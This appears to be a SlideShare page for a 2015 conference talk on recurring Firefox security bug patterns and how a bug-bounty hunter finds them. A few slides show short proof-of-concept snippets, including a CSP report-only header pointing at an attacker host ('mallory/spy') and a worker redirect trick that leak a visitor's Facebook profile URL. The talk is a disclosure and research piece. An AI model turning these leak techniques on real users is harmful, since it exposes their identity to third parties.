Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015

800 views

Published on

The number of corporations establishing bug bounty programs in order to accomplish early discovery of vulnerabilities is increasing. So far, I have reported vulnerabilities in Firefox and received 45,000 USD (5,400,000 JPY) in bounties from the developer, which is the Mozilla Foundation. As a matter of fact, the vulnerabilities discovered in Firefox have a trend however, the awareness of the trend has not being raised among the Firefox developers and every time a new feature is implemented, a similar vulnerability is repeatedly created in the code. In this session, based on the vulnerabilities I have discovered in the past, I will introduce the patterns of vulnerabilities frequently observed in Firefox and delineate the root cause of those vulnerabilities. In addition, I will introduce my practical method that will allow you to effectively discover bugs in Firefox. This method is actually applicable not only to Firefox but any other open source software as it is based on an issue particular to open source software.

Published in: Software
  • Login to see the comments

Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015

  1. 1. Defeating Firefox CODE BLUE 2015 “Foxkeh" (C) 2006 Mozilla Japan
  2. 2. $61,500 (¥7.4 Million) My Achievements in This Year Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740 Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078 Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556 Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520 Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208956 Bug 1106713 Bug 1160069 Bug 1192595
  3. 3. How to Defeat Firefox Today's Theme • In Firefox, there are common pitfalls they fall into • Firefox developers regularly step into similar pitfalls that are not very known yet. With every new feature, they tend to repeat their mistakes “Foxkeh" (C) 2006 Mozilla Japan
  4. 4. How to Defeat Firefox • It is easy to find a bug if you learn common mistake patterns • Then, Mozilla would pay your Code Blue fee back “Foxkeh" (C) 2006 Mozilla Japan Today's Theme
  5. 5. Insufficient Implementation of Feature Spec. “Foxkeh" (C) 2006 Mozilla Japan Patterns of Security Bug 1/3
  6. 6. • Specs are usually formulated by standards organizations (e.g. IETF and W3C) Anyone can download spec documents for free • Specs cover impl. requirements for user agents Security risks brought by a feature and its mitigations are also written Browser Features and Specs
  7. 7. • Requirements are not implemented sometimes Peer review and testing are not enough before release • You can find bugs by testing based on a spec I won $10,000+ by this way Insufficient Spec Impl. of Firefox
  8. 8. Missing Restriction for HTTP Request Headers in Fetch API Example Bug 1162411
  9. 9. Fetch API • Fetch HTTP resources asynchronously In brief, it's like an improved version of XMLHttpRequest HTTP request fetch('http://example.jp/') HTTP response http://example.jp/
  10. 10. Usage of Fetch API fetch( 'http://api.example.jp/path', { method: 'POST', headers: { 'Content-Type' : 'text/plain' }, body: 'Hello World' }).then(function(res) { console.log(res.headers.get( 'Content-Type' )); })
  11. 11. Prohibitions on Fetch API fetch( 'http://api.example.jp/path', { method: 'POST', headers: { 'Content-Type' : 'text/plain' }, body: 'Hello World' }).then(function(res) { console.log(res.headers.get( 'Content-Type' )); }) 'TRACE' and others are not allowed Host, Cookie and others are not allowed Request body can not be set if method is GET or HEAD Set-Cookie is not allowed
  12. 12. Missing Restriction on Firefox fetch( 'http://api.example.jp/path', { method: 'POST', headers: { 'Content-Type' : 'text/plain' }, body: 'Hello World' }).then(function(res) { console.log(res.headers.get( 'Content-Type' )); }) Firefox allowed to set arbitrary request headers (e.g. Host)
  13. 13. DEMO
  14. 14. Improper Handling of HTTP Redirects “Foxkeh" (C) 2006 Mozilla Japan Patterns of Security Bug 2/3
  15. 15. HTTP Redirects same.tld other.tld http://same.tld/ Location: http://other.tld/ http://other.tld/ Response HTTP redirects
  16. 16. Pitfalls of HTTP Redirects (1/2) same.tld other.tld http://same.tld/ Location: http://other.tld/ http://other.tld/ Response Origin specified by user and… origin respond to the request are sometimes different HTTP redirects
  17. 17. Origin Confusion in Cache Data of Service Workers (SW) Bug 1164397 Example
  18. 18. DEMO
  19. 19. http://example.jp/ Service Workers (SW) • Worker process run in the background of pages E.g. intercepting HTTP requests instead of pages and handling cache SWPage Cache
  20. 20. Origin Confusion of Cache in Firefox SWPage (mallory) Cache mallory facebook mallory/resource mallory/resource Redirection Response from facebook is cached as data of mallory
  21. 21. Pitfalls of HTTP Redirects (2/2) • URL after redirect may contain sensitive data E.g. user name that is logged in to an other website • Do not leak URL after redirect to other origins E.g. the final URL of redirection has not to be included in error messages etc.
  22. 22. (Ex.) Facebook https://www.facebook.com/profile.php 301 Moved Permanently
  23. 23. (Ex.) Windows Azure https://manage.windowsazure.com 302 Found
  24. 24. CVE-2014-1487 by Masato Kinugawa window.onerror = function( e ) { alert( e ); } new Worker('redirect?to=https://www.facebook.com/profile.php'); Try to load other origin URL as a worker script
  25. 25. window.onerror = function( e ) { alert( e ); } new Worker('redirect?to=https://www.facebook.com/profile.php'); CVE-2014-1487 by Masato Kinugawa
  26. 26. Visitor's Facebook Profile Is Identifiable
  27. 27. Cross Origin URL Leakage in CSP Violation Report Bug 1069762 (CVE-2014-1591) Example
  28. 28. If a Visitor Opens Following Page // HTTP Response Header Content-Security-Policy-Report-Only "frame-src 'none'; report-uri http://mallory/spy;" // Exploit HTML <iframe src="https://www.facebook.com/profile.php">
  29. 29. Following Report Is Sent to the Attacker // HTTP Response Header Content-Security-Policy-Report-Only "frame-src 'none'; report-uri http://mallory/spy;" // Exploit HTML <iframe src="https://www.facebook.com/profile.php">
  30. 30. http://www.w3.org/TR/2012/CR-CSP-20121115/
  31. 31. CSP Specs Prohibit to Do So…
  32. 32. Bugs Arising from Inconsistency with the Network Stack (Necko) “Foxkeh" (C) 2006 Mozilla Japan Patterns of Security Bug 3/3
  33. 33. Firefox Architecture Thanks to Makoto Kato (Mozilla Japan) https://docs.google.com/presentation/d/17KvlHVH2JsioGuPKCuBDayjK6WSJoTLfzgpiMG1SKpY Network module DOM and JavaScript API impl.
  34. 34. Typical Example of Security Checks Page DOM / Web API Network (Necko) Verify origin Verify server Request for Network Communication
  35. 35. Typical Example of Security Checks Page DOM / Web API Network (Necko) Bugs are introduced due to inconsistency between them Verify origin Verify server Request for Network Communication
  36. 36. SSL Certificate Verification Bypass by Opportunistic Encryption (OE) Bug 1148328 (CVE-2015-0799) Example
  37. 37. Opportunistic Encryption (OE) • Encrypt network traffic on http: One of a mitigation against pervasive surveillance led by agency, now under development as an enhancement of http/2 • Use TLS without server verification TLS session using invalid certificate is relatively safer than plain text (OE still requires server verification for https: as usual)
  38. 38. DEMO
  39. 39. Sequence of SSL Verification Bypass twitter(fake) http://mallory Request OE on http://twitter mallory Establish TLS connection without server verification (OE) Publish a Session Ticket https://twitter Resume TLS session with the Session Ticket TLS connection established (session resumption)
  40. 40. Mechanism of the Flaw Page DOM / Web API Network (Necko) HTTP and HTTPS are different origins OE and HTTPS share same TLS impl. Session tickets of http://twitter and https://twitter have to be isolated
  41. 41. “Foxkeh" (C) 2006 Mozilla Japan To Find Security Bugs Efficiently
  42. 42. Check the Pitfalls Iteratively • Similar bugs are often introduced on new features New major version of Firefox is released every 6 weeks, then new committers who don't know pitfalls (may) introduce similar bug • Collect info. of known bugs and new features Try to test same attack scenario on newly implemented features
  43. 43. Sources of Information • Security advisories for Firefox (Known bugs) https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/ • Firefox developer release notes (New features) https://developer.mozilla.org/en-US/Firefox/Releases
  44. 44. Sources of Further Information • Firefox Commit logs http://hg.mozilla.org/mozilla-central/shortlog • Bugzilla https://bugzilla.mozilla.org/
  45. 45. Find Security Bugs From Commit Logs If rejected to access, (maybe) it's a security bug
  46. 46. Find Security Bugs from Bugzilla • Track activity of Mozilla security team Technical Information of security bugs is fully managed by them
  47. 47. Confidential bugs were disclosed!! Someone got a bounty!!
  48. 48. “Foxkeh" (C) 2006 Mozilla Japan Conclusion
  49. 49. Mozilla's Vulnerability Response • Swift response - Severe bugs are (usually) fixed within 1 month - Critical bug fixes affecting many users are delivered via urgent update • Transparent - Reporter can participate in discussion on the correction on Bugzilla - They clearly tell us why they rated the severity of reported bug - If the bug was already reported before but it wasn't disclosed, they would grant access to the original ticket
  50. 50. Thanks! Mozilla Security Team & Mozilla Japan Guys “Foxkeh" (C) 2006 Mozilla Japan

×